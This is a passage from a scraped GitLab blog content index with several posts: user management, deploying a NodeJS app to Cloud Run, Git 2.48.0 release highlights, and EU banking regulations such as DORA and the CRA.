efficiency.\n\nThe EU’s DORA regulations present new challenges for financial institutions, requiring them to enhance their governance, cybersecurity, and resilience frameworks. GitLab offers powerful features that address the key pillars of DORA, from incident management to cybersecurity testing and third-party risk management. By integrating GitLab into operational processes, financial institutions can streamline their compliance efforts, reduce risks, and ensure that they meet regulatory requirements with greater efficiency. GitLab provides a solid foundation for organizations seeking to stay ahead of the evolving regulatory landscape while maintaining strong security and operational resilience.\n\n> #### [Reach out](https://about.gitlab.com/solutions/finance/) to learn more about how GitLab can help meet your regulatory challenges.\n\n## Read more\n\n- [GitLab supports banks in navigating regulatory challenges](https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/)\n- [Meet regulatory standards with GitLab security and compliance](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [How to ensure separation of duties and enforce compliance with GitLab](https://about.gitlab.com/blog/ensuring-compliance/)\n",[555,674,479,943],{"slug":3071,"featured":6,"template":678},"what-the-digital-operational-resilience-act-means-for-banks","content:en-us:blog:what-the-digital-operational-resilience-act-means-for-banks.yml","What The Digital Operational Resilience Act Means For Banks","en-us/blog/what-the-digital-operational-resilience-act-means-for-banks.yml","en-us/blog/what-the-digital-operational-resilience-act-means-for-banks",{"_path":3077,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3078,"content":3084,"config":3089,"_id":3091,"_type":16,"title":3092,"_source":17,"_file":3093,"_stem":3094,"_extension":20},"/en-us/blog/getting-started-with-gitlab-how-to-manage-users",{"title":3079,"description":3080,"ogTitle":3079,"ogDescription":3080,"noIndex":6,"ogImage":3081,"ogUrl":3082,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3082,"schema":3083},"Getting started with GitLab: How to manage users","Learn how to manage users using groups, roles, and permissions. Walk through the setup of secure collaboration with proper project access.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097273/Blog/Hero%20Images/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25_cFwd8DYFLekdnOLmbbChp_1750097273817.png","https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-manage-users","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with GitLab: How to manage users\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2025-01-14\",\n      }",{"title":3079,"description":3080,"authors":3085,"heroImage":3081,"date":3086,"body":3087,"category":695,"tags":3088},[2816],"2025-01-14","*Welcome to our \"Getting started with GitLab\" series, where we help newcomers get familiar with the GitLab DevSecOps platform.*\n\nEnsuring a safe, compliant, and collaborative environment starts with the most basic of tasks - managing users. In this tutorial, we show you how to establish project members, assign roles and permissions, and create groups and subgroups.\n\nNote: To follow along with this tutorial, you should have a GitLab account either through GitLab.com or your organization's self-managed instance. If you need help, visit our fundamentals area on [GitLab University](https://university.gitlab.com/).\n\nLet's get started.\n\nWhen you create GitLab users, they only have access to [their private projects, public projects, and projects set with internal visibility](https://docs.gitlab.com/ee/user/public_access.html). For the purposes of this tutorial, your project is super secret and only invited members should have access to it – at varying permissions settings. To ensure this, you can invite users as [members of the project](https://docs.gitlab.com/ee/user/project/members/).\n\n## Project members\n\n![Project members screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097278/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097278487.png)\n\nGitLab users can be invited to a project and [assigned a role](https://docs.gitlab.com/ee/user/permissions.html), which determines what they can do in the project. The owner of a project can delegate administrative tasks to other users as maintainers, who can do almost everything an owner does, aside from changes to a project such as deleting, archiving, or transferring a project.\n\n![Invite members screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097278/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097278487.png)\n\n[Maintainers](https://docs.gitlab.com/ee/user/permissions.html#roles) of the project can invite other members as developers who have access to all the features to create, build, and deploy software. Users who are not developers but need project management access can be invited to the project as [planners](https://about.gitlab.com/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/), reporters, and guests with varying levels of permissions. These roles can also be used to determine who can make changes to certain branches with [protected branches](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html).\n\nIf you are working with contractors or your use requires user permissions to expire, you can set an expiry date after which the user loses access to the project. Project members can also be identified as direct or indirect members, based on their [membership type](https://docs.gitlab.com/ee/user/project/members/#membership-types). Direct members are invited directly into the project, whereas indirect members are often inherited from a [GitLab group](https://docs.gitlab.com/ee/user/group/) a project belongs to.\n\nNow, let's look at Group memberships.\n\n## Group memberships\n\nGroups in GitLab can be a top level created at the root of a GitLab instance like the [gitlab.com/gitlab-org](http://gitlab.com/gitlab-org). which is a parent group used to organize other subgroups like [gitlab.com/gitlab-org/charts](http://gitlab.com/gitlab-org/charts). Groups are useful even if you only have one project.\n\nGroups can be used for different reasons:\n\n- organizing similar or related projects  \n- organizing users into groups for better team coordination\n\nWhen using groups to organize users, you can organize teams in groups and [invite a group to a project](https://docs.gitlab.com/ee/user/project/members/sharing_projects_groups.html) with a specific role for an entire team. You can have a `dev` group for the developers of the team, `pm` group for the project managers and `leads` for team leads. When inviting the groups, `dev` can be assigned the Developer role, `pm` the Planner role, and `leads` the Maintainer role. \n\n![Invite a group screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097279/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097278488.png)\n\nMembers of each group can be can be added or removed without needing to update project permissions. This is particularly useful when your team has grown to have several projects. However, it is important to [observe best practices](https://docs.gitlab.com/ee/user/project/members/sharing_projects_groups.html#setting-up-a-group-for-collaboration) for using groups for collaboration.\n\nAnother helpful aspect of having users organized in groups is that you can [mention](https://docs.gitlab.com/ee/user/discussions/#mentions) the entire group in issues, merge requests, or comments, which makes keeping an entire team informed easier.\n\n### Create subgroups\n\n[Subgroups](https://docs.gitlab.com/ee/user/group/subgroups/) can be used to further organize users in a group and you can keep adding subgroups up to 20 nested levels. Users in a subgroup inherit the the permissions they have in a parent group. If you want to grant a user in a subgroup a role higher than what they inherited, you will need to [invite them to the subgroup](https://docs.gitlab.com/ee/user/group/subgroups/#override-ancestor-group-membership) with the new higher role. Note: You can not give them a lower role in the subgroup.\n\n### Manage groups\n\nGroup Owners have several management options to determine how users function in a group. For instance, you can set how a user can request access to a group, enable/disable [group mentions](https://docs.gitlab.com/ee/user/group/manage.html#disable-group-mentions), [restrict access](https://docs.gitlab.com/ee/user/group/manage.html#turn-on-restricted-access), or [moderate users](https://docs.gitlab.com/ee/user/group/moderate_users.html), among other options. An exciting new feature, which is still under development at the time of this article's publication, is the [automatic removal of dormant users](https://docs.gitlab.com/ee/user/group/moderate_users.html#automatically-remove-dormant-members) after a minimum of 90 days and a maximum of five years. This will help keep groups clean and better manage the release of license seats.\n\n## Learn more\n\nManaging users on GitLab depends on your use case. If your organization is larger with more advanced workflows and user management, GitLab provides more advanced ways to [manage enterprise users](https://docs.gitlab.com/ee/user/enterprise_user/index.html). You can also explore more options on how to [manage your organization](https://docs.gitlab.com/ee/topics/set_up_organization.html) and with [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/), you get more granularity and compliance features.\n\n> #### Want to take your learning to the next level? [Sign up for GitLab University courses](https://university.gitlab.com/). Or you can get going right away with [a free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n\n## \"Getting started with GitLab\" series\nRead more articles in our \"Getting started with GitLab\" series:\n\n- [How to import your projects to GitLab](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Mastering project management](https://about.gitlab.com/blog/getting-started-with-gitlab-mastering-project-management/)\n- [Automating Agile workflows with the gitlab-triage gem](https://about.gitlab.com/blog/automating-agile-workflows-with-the-gitlab-triage-gem/)\n- [Understanding CI/CD](https://about.gitlab.com/blog/getting-started-with-gitlab-understanding-ci-cd/)\n- [Working with CI/CD variables](https://about.gitlab.com/blog/getting-started-with-gitlab-working-with-ci-cd-variables/)\n",[479,754,696,1899,695],{"slug":3090,"featured":92,"template":678},"getting-started-with-gitlab-how-to-manage-users","content:en-us:blog:getting-started-with-gitlab-how-to-manage-users.yml","Getting Started With Gitlab How To Manage Users","en-us/blog/getting-started-with-gitlab-how-to-manage-users.yml","en-us/blog/getting-started-with-gitlab-how-to-manage-users",{"_path":3096,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3097,"content":3104,"config":3109,"_id":3112,"_type":16,"title":3113,"_source":17,"_file":3114,"_stem":3115,"_extension":20},"/en-us/blog/ai-trends-for-2025-agentic-ai-self-hosted-models-and-more",{"title":3098,"description":3099,"ogTitle":3098,"ogDescription":3099,"config":3100,"ogImage":3101,"ogUrl":3102,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3102,"schema":3103},"AI trends for 2025: Agentic AI, self-hosted models, and more","Discover coming trends in AI for software development, from on-premises model deployments to proactive AI assistants.",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665039/Blog/Hero%20Images/display-the-source-article-ai-trends-coming-in-2026-image-0492-1800x945-fy25.png","https://about.gitlab.com/blog/ai-trends-for-2025-agentic-ai-self-hosted-models-and-more","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"AI trends for 2025: Agentic AI, self-hosted models, and more\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilio Salvador\"}],\n        \"datePublished\": \"2025-01-13\",\n      }",{"title":3098,"description":3099,"authors":3105,"heroImage":3101,"date":3106,"body":3107,"category":791,"tags":3108},[1761],"2025-01-13","This is the [AI trends for 2025: Agentic AI, self-hosted models, and more](https://about.gitlab.com/the-source/ai/ai-trends-for-2025-agentic-ai-self-hosted-models-and-more/) post.",[790],{"slug":3110,"featured":6,"template":678,"externalUrl":3111},"ai-trends-for-2025-agentic-ai-self-hosted-models-and-more","https://about.gitlab.com/the-source/ai/ai-trends-for-2025-agentic-ai-self-hosted-models-and-more/","content:en-us:blog:ai-trends-for-2025-agentic-ai-self-hosted-models-and-more.yml","Ai Trends For 2025 Agentic Ai Self Hosted Models And More","en-us/blog/ai-trends-for-2025-agentic-ai-self-hosted-models-and-more.yml","en-us/blog/ai-trends-for-2025-agentic-ai-self-hosted-models-and-more",{"_path":3117,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3118,"content":3124,"config":3129,"_id":3131,"_type":16,"title":3132,"_source":17,"_file":3133,"_stem":3134,"_extension":20},"/en-us/blog/deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration",{"title":3119,"description":3120,"ogTitle":3119,"ogDescription":3120,"noIndex":6,"ogImage":3121,"ogUrl":3122,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3122,"schema":3123},"Deploy a NodeJS Express app with GitLab's Cloud Run integration","This tutorial will show you how to use NodeJS and Express to deploy an application to Google Cloud. This step-by-step guide will have you up and running in less than 10 minutes with the Cloud Run integration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097892/Blog/Hero%20Images/Blog/Hero%20Images/speedlights_speedlights.png_1750097891963.png","https://about.gitlab.com/blog/deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Deploy a NodeJS Express app with GitLab's Cloud Run integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah Matthies\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2025-01-13\",\n      }",{"title":3119,"description":3120,"authors":3125,"heroImage":3121,"date":3106,"body":3127,"category":734,"tags":3128},[3126,2621],"Sarah Matthies","Are you looking to deploy your NodeJS app to Google Cloud with the least maintenance possible? This tutorial will show you how to utilize GitLab’s Google Cloud integration to deploy your NodeJS app in less than 10 minutes.\n\nTraditionally, deploying an application often requires assistance from production or DevOps engineers. This integration now empowers developers to handle deployments independently. Whether you’re a solo developer or part of a large team, this setup gives everyone the ability to deploy their applications efficiently.\n\n## Overview\n\n- Create a new project in GitLab\n- Set up your NodeJS application\n- Use the Google Cloud integration to create a Service account\n- Use the Google Cloud integration to configure Cloud Run via Merge Request\n- Enjoy your newly deployed NodeJS app\n- Follow the cleanup guide\n\n## Prerequisites\n- Owner access on a Google Cloud Platform project\n- Working knowledge of JavaScript/TypeScript (not playing favorites here!)\n- Working knowledge of GitLab CI\n- 10 minutes \n\n## Step-by-step guide\n\n### 1. Create a new project in GitLab\n\nWe decided to call our project `nodejs–express-cloud-run` for simplicity.\n\n![Create a new project](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097905106.png)\n\n### 2. Upload your NodeJS app or use this example to get started.\n\n[Demo](https://gitlab.com/demos/templates/nodejs-cloud-run)\n\n**Note:** Make sure to include the `cloud-run` [CI template](https://gitlab.com/gitlab-org/incubation-engineering/five-minute-production/library/-/raw/main/gcp/cloud-run.gitlab-ci.yml) within your project.\n\n![cloud-run CI template include](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097905107.png)\n\n### 3. Use the Google Cloud integration to create a Service account.\n\nNavigate to __Operate > Google Cloud > Create Service account__.\n\n![Create Service account screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097905109.png)\n\nAlso configure the region you would like the Cloud Run instance deployed to.\n\n![Cloud Run instance deployment region selection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097905113.png)\n\n### 4. Go to the Deployments tab and use the Google Cloud integration to configure __Cloud Run via Merge Request__.\n\n![Deployments - Configuration of Cloud Run via Merge Request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097905115.png)\n\nThis will open a merge request – immediately merge it.\n\n![Merge request for deployment](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097905117.png)\n\n__Note:__ `GCP_PROJECT_ID`, `GCP_REGION`, `GCP_SERVICE_ACCOUNT`, and `GCP_SERVICE_ACCOUNT_KEY` will all be automatically populated from the previous steps.\n\n![Variables listing](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097905118.png)\n\n### 5. Voila! Check your pipeline and you will see you have successfully deployed to Google Cloud Run using GitLab CI.\n\n![Successful deployment to Google Cloud Run](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097905119.png)\n\nClick the Service URL to view your newly deployed Node server.\n\n![View newly deployed Node server](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097905120.png)\n\nIn addition, you can navigate to __Operate > Environments__ to see a list of deployments for your environments.\n\n![Environments view of deployment list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750097905121.png)\n\nBy clicking on the environment called `main`, you’ll be able to view a complete list of deployments specific to that environment.\n\n![Main view of deployments to specific environment](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097905122.png)\n\n### 6. Next steps\n\nTo get started with developing your Node application, try adding another endpoint. For instance, in your `index.js` file, you can add a **/bye** endpoint as shown below:\n\n```\napp.get('/bye', (req, res) => {\n  res.send(`Have a great day! See you!`);\n});\n\n```\n\nPush the changes to the repo, and watch the `deploy-to-cloud-run` job deploy the updates. Once it’s complete, go back to the Service URL and navigate to the **/bye** endpoint to see the new functionality in action.\n\n![Bye message](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097905/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097905123.png)\n\n## Follow the cleanup guide\n\nTo prevent incurring charges on your Google Cloud account for the resources used in this tutorial, you can either delete the specific resources or delete the entire Google Cloud project. For detailed instructions, refer to the [cleanup guide here](https://docs.gitlab.com/ee/tutorials/create_and_deploy_web_service_with_google_cloud_run_component/#clean-up).\n\n> Read more of these helpful [tutorials from GitLab solutions architects](https://about.gitlab.com/blog/tags/solutions-architecture/).\n",[110,923,232,2488,696],{"slug":3130,"featured":92,"template":678},"deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration","content:en-us:blog:deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration.yml","Deploy A Nodejs Express App With Gitlabs Cloud Run Integration","en-us/blog/deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration.yml","en-us/blog/deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration",{"_path":3136,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3137,"content":3143,"config":3149,"_id":3151,"_type":16,"title":3152,"_source":17,"_file":3153,"_stem":3154,"_extension":20},"/en-us/blog/whats-new-in-git-2-48-0",{"title":3138,"description":3139,"ogTitle":3138,"ogDescription":3139,"noIndex":6,"ogImage":3140,"ogUrl":3141,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3141,"schema":3142},"What’s new in Git 2.48.0?","Learn about the latest version of Git, including a new build system and optimization in the new reftable backend. Discover contributions from GitLab's Git team and the Git community.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663691/Blog/Hero%20Images/AdobeStock_752438815.jpg","https://about.gitlab.com/blog/whats-new-in-git-2-48-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What’s new in Git 2.48.0?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Couder\"}],\n        \"datePublished\": \"2025-01-10\",\n      }",{"title":3138,"description":3139,"authors":3144,"heroImage":3140,"date":3146,"body":3147,"category":813,"tags":3148},[3145],"Christian Couder","2025-01-10","The Git project recently released [Git 2.48.0](https://lore.kernel.org/git/xmqqplku7cvm.fsf@gitster.g/). Let's look at a few notable highlights from this release, which includes contributions from GitLab's Git team and the wider Git community.\n\n## Meson build system\n\nFor a long time, Git could be built using either a [Makefile](https://en.wikipedia.org/wiki/GNU_Make)-based build system or an [Autoconf](https://en.wikipedia.org/wiki/Autoconf)-based build system. Git developers have been using mostly the Makefile-based build system, so\n[the Autoconf-based build system has lagged behind](https://lore.kernel.org/git/GV1PR02MB848925A79A9DD733848182D58D662@GV1PR02MB8489.eurprd02.prod.outlook.com/) in features and maintenance. Another issue was that a lot of Windows\ndevelopers use integrated development environments (IDEs) that don’t\nhave good support for Makefile- and Autoconf-based build systems.\n\nIn 2020, support for building Git using [CMake](https://cmake.org/) was added. CMake added better Windows support and IDE integration, especially for Visual\nStudio. Some modern build system features like out-of-source builds were also included.\n\nRecently, it appeared the CMake support was also lagging\nbehind and that it might never be a good option to replace the two other\nbuild systems. So [Patrick Steinhardt](https://gitlab.com/pks-gitlab), GitLab Git Engineering Manager, implemented support for the [Meson](https://mesonbuild.com/) build\nsystem with the goal of eventually replacing the Autoconf-, CMake-, and\nmaybe the Makefile-based build systems.\n\nThe new Meson-based build system has the following advantages:\n* Allows users to easily find the available build options, something which is difficult with Makefiles and CMake\n* Has a simple syntax compared to Autoconf and CMake\n* Supports many different operating systems, compilers, and IDEs\n* Supports modern build system features like out-of-source builds\n\nHere is an example of how it can actually be used to build Git:\n\n```shell\n$ cd git             \t# go into the root of Git's source code\n$ meson setup build/ \t# setup \"build\" as a build directory\n$ cd build           \t# go into the \"build\" directory\n$ meson compile      \t# actually build Git\n$ meson test         \t# test the new build\n$ meson install      \t# install the new build\n\n```\n\nMultiple build directories can be set up using `meson setup \u003Cbuild_dir>`, and the configuration of the build inside a build directory can be viewed or changed by running `meson configure` inside the build directory.\n\nMore information on how to build Git using Meson can be found at the top of the [`meson.build` file](https://gitlab.com/gitlab-org/git/-/blob/master/meson.build) in the Git code repository. A\n[comparison of the different build systems](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/technical/build-systems.txt) for Git is available as part of Git's technical documentation.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Git is now memory-leak-free (as exercised by the test suite)\n\nIn our Git release blog post about the previous Git 2.47.0 release, we\ntalked about our [ongoing effort to fix all memory leaks](https://about.gitlab.com/blog/whats-new-in-git-2-47-0/#code-refactoring-and-maintainability-improvements) surfaced by existing tests in the project. We said that prior to the Git 2.47.0 release, the project had 223 test files containing memory\nleaks, and that this had been whittled down to just 60.\n\nWe are pleased to report that the memory leaks in all 60 remaining test files have been resolved. As a result, Git, as exercised by the test suite, is now free of memory leaks. This is an important step towards the longstanding goal of “libifying” Git internal components (which means converting those components into internal libraries). It will also help with optimizing Git for memory usage.\n\nNow, any newly added test must be leak-free by default. It's still\npossible to have leaking tests, but the authors will have to use an\nescape hatch for that and provide good arguments why their test cannot\nbe made leak free.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Improved bundle URI checks\n\nIn our Git release blog post about the Git 2.46.0 release, we talked\nabout some [bundle URI fixes](https://about.gitlab.com/blog/whats-new-in-git-2-46-0/#bundle-uri-fixes)\nby [Xing Xin](https://lore.kernel.org/git/pull.1730.git.1715742069966.gitgitgadget@gmail.com/).\nAfter those fixes, Xing Xin worked on making it possible for [fetches using bundles to be fully checked](https://lore.kernel.org/git/pull.1730.v8.git.1718770053.gitgitgadget@gmail.com/)\nusing the [fsck](https://git-scm.com/docs/git-fsck) mechanism like regular fetches.\n\nWhen validating regular fetches, it's possible to specify\n[different severities](https://git-scm.com/docs/git-fsck#Documentation/git-fsck.txt-fsckltmsg-idgt) for [different fsck issues](https://git-scm.com/docs/git-fsck#_fsck_messages)\nto have fine-grained handling of what is accepted and what is rejected in a specific repository. This wasn't possible for fetches using bundles previously.\n\nTo further increase the usefulness and safety of [bundle-uri](https://git-scm.com/docs/bundle-uri), we [addressed this problem](https://lore.kernel.org/git/20241121204119.1440773-1-jltobler@gmail.com/) so that the different severities specified for different fsck issues\nare now used when checking fetches using bundles, too.\n\nThis project was led by [Justin Tobler](https://gitlab.com/justintobler).\n\n## Add reference consistency checks\n\nIn our Git release blog post about the Git 2.47.0 release, we mentioned Jialuo She's work on\n[adding a new 'verify' subcommand](https://about.gitlab.com/blog/whats-new-in-git-2-47-0/#new-subcommand-for-git-refs(1)) to git-refs(1) which was part of the\n[Google Summer of Code 2024](https://summerofcode.withgoogle.com/archive/2024/projects/ukm4PTEF) (GSoC 2024).\n\nIn that blog post, we said that eventually the goal was to integrate this new subcommand as part of git-fsck(1) to provide a unified way to execute repository consistency checks. Jialuo She has decided to work on that after his GSoC was over.\n\nThe result from [this effort](https://lore.kernel.org/git/ZrtrT1CPI4YUf5db@ArchLinux/)\nis that git-fsck(1) can now detect and handle a number of reference-related issues, like when the content of a reference is bad, when a symbolic link is used as a symbolic reference, or when the target of a symbolic reference doesn't point to a valid reference. We still need to call `git refs verify` as part of git-fsck(1), and have the former perform all non-backend-specific checks that the latter currently does, but we are closer to our end goal of a unified way to execute all refs consistency checks.\n\nThis project was led by Jialuo She.\n\n## Iterator reuse in reftables\n\nIn the [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/raw/master/Documentation/RelNotes/2.45.0.txt) release, the 'reftables' format was introduced as a new backend for storing references (mostly branches and tags). If you are not yet\nfamiliar with the reftables backend, check out our previous [Git release blog post](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/) where the feature was introduced and our beginner’s guide to [learn more about how reftables work](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/).\n\nSince that release, we continued to improve this backend, and we recently focused on improving its performance by [reusing some internal iterators](https://lore.kernel.org/git/cover.1730732881.git.ps@pks.im/) when reading random references. Before these changes, reading a single reference required us to create a whole new iterator, seek it to the correct location in the respective tables, and then read the next value from it, which can be quite inefficient when reading many references in quick succession. After the change we now only create a single iterator and reuse it to read multiple references, thus saving some overhead.\n\nThe result of this work is increased performance in a number of reftables-related use cases, especially a 7% speedup when creating many references in a transaction that performs many random reads. Furthermore, this creates the possibility for more optimizations as we can continue to reuse more state kept in the iterators.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Support for reflogs in `git-refs migrate`\n\nAfter the 'reftables' backend was introduced in Git 2.45.0 (see the section above), we worked on tooling to migrate reference backends in Git 2.46.0, which consisted of adding a new `migrate` subcommand to git-refs(1).\n\nOur article about Git 2.46.0 [talked about this work](https://about.gitlab.com/blog/whats-new-in-git-2-46-0/#tooling-to-migrate-reference-backends) and mentioned some limitations that still existed. In particular, the article said:\n\n\"The reflogs in a repository are a component of a reference backend and would also require migration between formats. Unfortunately, the tooling is not yet capable of converting reflogs between the files and reftables backends.\"\n\nWe are pleased to report that we have [lifted this limitation in Git 2.48.0](https://lore.kernel.org/git/20241216-320-git-refs-migrate-reflogs-v4-0-d7cd3f197453@gmail.com/).\nReflogs can now also be migrated with `git refs migrate`. The migration tool is not yet capable of handling a repository with multiple worktrees, but this is the only limitation left. If you\ndon't use worktrees, you can already take advantage of the reftables backend in your existing repositories.\n\nThis project was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n## Ref-filter optimization\n\nThe 'ref-filter' subsystem is some formatting code used by commands like `git for-each-ref`, `git branch` and `git tag` to sort, filter, format, and display information related to Git references.\n\nAs repositories grow, they can contain a huge number of references. This is why there is work not only on improving backends that store references, like the reftables backend (see above), but\nalso on optimizing formatting code, like the 'ref-filter' subsystem.\n\nWe recently [found a way](https://lore.kernel.org/git/d23c3e3ee7fdb49fcd05b4f2e52dd2a1cfdc10f2.1729510342.git.ps@pks.im/)\nto avoid temporarily buffering references and iterating several times on them in the ref-filter code when they should be processed in the same sorting order as the order the backends provide them. This results in memory savings and makes certain commands up to 770 times faster in some\ncases.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Read more\n\nThis blog post highlighted just a few of the contributions made by GitLab and the wider Git community for this latest release. You can learn about these from the official release announcement of the Git project. Also, check out [our previous Git release blog posts](https://about.gitlab.com/blog/tags/git/) to see other past highlights of contributions from GitLab team members.\n\n- [What’s new in Git 2.47.0?](https://about.gitlab.com/blog/whats-new-in-git-2-47-0/)\n- [What’s new in Git 2.46.0?](https://about.gitlab.com/blog/whats-new-in-git-2-46-0/)\n- [What’s new in Git 2.45.0](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/)\n- [A beginner's guide to the Git reftable format](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/)\n",[1067,815,267],{"slug":3150,"featured":92,"template":678},"whats-new-in-git-2-48-0","content:en-us:blog:whats-new-in-git-2-48-0.yml","Whats New In Git 2 48 0","en-us/blog/whats-new-in-git-2-48-0.yml","en-us/blog/whats-new-in-git-2-48-0",{"_path":3156,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3157,"content":3163,"config":3169,"_id":3171,"_type":16,"title":3172,"_source":17,"_file":3173,"_stem":3174,"_extension":20},"/en-us/blog/gitlab-supports-banks-in-navigating-regulatory-challenges",{"title":3158,"description":3159,"ogTitle":3158,"ogDescription":3159,"noIndex":6,"ogImage":3160,"ogUrl":3161,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3161,"schema":3162},"GitLab supports banks in navigating regulatory challenges","Learn the upcoming changes to key frameworks, how they impact organizations, and the DevSecOps platform features that can help address them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664874/Blog/Hero%20Images/AdobeStock_880918603.jpg","https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab supports banks in navigating regulatory challenges\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"George Kichukov\"},{\"@type\":\"Person\",\"name\":\"Allie Holland\"}],\n        \"datePublished\": \"2025-01-09\",\n      }",{"title":3158,"description":3159,"authors":3164,"heroImage":3160,"date":3166,"body":3167,"category":674,"tags":3168},[3165,3067],"George Kichukov","2025-01-09","The risk of cyber attacks in the banking industry has reached unprecedented levels. Studies by the [International Monetary Fund](https://www.imf.org/-/media/Files/Publications/GFSR/2024/April/English/ch3.ashx) reveal that the financial sector is particularly vulnerable to cyber threats, with nearly one-fifth of reported incidents in the past two decades targeting this industry alone. As these threats continue to escalate, they drive the need for a regulatory response, prompting the banking and financial services industry to prepare for significant changes. GitLab enables financial institutions to proactively tackle these challenges, supporting banks on their regulatory journey while ensuring the operational resilience needed to protect the sensitive data pervasive throughout the banking ecosystem.\n\n## Understanding the upcoming regulatory changes\n\nAcknowledging that the regulatory landscape frequently changes, this article will concentrate on key frameworks in the EU poised to shape the future of banking and financial services. These frameworks not only address current industry challenges but also set the foundation for the development of a more secure and resilient financial ecosystem.\n\nHere are several regulations that are demanding the attention of the financial services industry. \n\n### [European Cyber Resilience Act (CRA)](https://digital-strategy.ec.europa.eu/en/policies/cyber-resilience-act)  \n\nImplemented as of **January 2024,** with a grace period extending for two years, the CRA establishes a comprehensive framework to enhance cybersecurity standards for digital products and services within the EU. This regulation seeks to mitigate the risks of vulnerabilities in software and hardware by ensuring that security is integrated throughout the entire product lifecycle, promoting a proactive “shift left” approach to security. By embedding security measures from the design phase onward, the CRA aims to safeguard the digital economy and bolster consumer trust in digital services.\n\n### [Digital Operational Resilience Act 